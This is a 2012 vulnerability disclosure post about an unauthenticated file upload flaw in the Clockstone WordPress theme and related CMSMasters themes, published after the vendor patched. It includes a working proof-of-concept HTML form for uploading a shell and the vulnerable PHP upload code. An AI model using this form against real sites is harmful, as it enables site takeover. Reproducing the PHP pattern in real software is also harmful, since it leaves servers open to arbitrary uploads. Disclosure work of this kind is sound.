Clockstone WordPress Theme & Various CMSMasters Themes :
File Upload Vulnerability Disclosure - December 18, 2012 - DigiP

A few weeks back I posted a warning on our site for users who used the Clockstone WordPress theme, to remove it from their sites until CMSMasters had a chance to patch their theme(s). The flaw was a file upload vulnerability, that allowed anyone to access a victim's site, by uploading whatever files they wanted to the site. The nature of the flaw was not isolated to their Clockstone theme alone, so I worked with CMSMasters to wait until they had a chance to patch this and their other themes as well. The code that allowed this attack to happen, was in several files which did not require user authentication from logged in WordPress users, and anyone visiting the url directly would be able to execute the script directly.

As promised, here is the POC of the attack code:

```
Shell upload attack:<br />
<form enctype="multipart/form-data" action="http://www.examplesite.com/wp-
content/themes/clockstone/theme/functions/upload.php" method="post">
<input type="text" name="url" value="./" /><br />
Please choose a file: <input name="uploadfile" type="file" /><br />
<input type="submit" value="Upload" />
</form>
```

After a successful attack, you would see on your screen the name of your uploaded file in hash form, which would be located in the same path as the upload script if using the code above. You can choose pretty much anywhere to upload the file to though. This file was an MD5 hashed name, ending in the file extension of the file you uploaded, but the script echoed back the file name, so it was easy to see where your file was when done.

The vulnerable code in their theme was as follows:

```
<?php
if ($_POST['url']){ $uploaddir = $_POST['url']; }
$first_filename = $_FILES['uploadfile']['name'];
$filename = md5($first_filename);
$ext = substr($first_filename, 1 + strrpos($first_filename, '.'));
$file = $uploaddir . basename($filename.'.'.$ext);
if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $file)){
      echo basename($filename.'.'.$ext);
} else {
      echo 'error';
}
?>
```

We picked up this flaw because of our Attack Scanner plug-in, and seeing sites being attacked by others running this theme. This lead us to investigate their theme to see what was happening. This was (and is) an exploit being used in the wild against sites running the Clockstone theme, but does not appear to be widely known at this time. At least, we could not find a copy of the flaw being published publicly anywhere, which means this was most likely only used by a select few who knew of this flaw. After notifying CMSMasters of the issue, they've now updated their code base and done their best to contact users of their themes. - DigiP http://www.attack-scanner.com/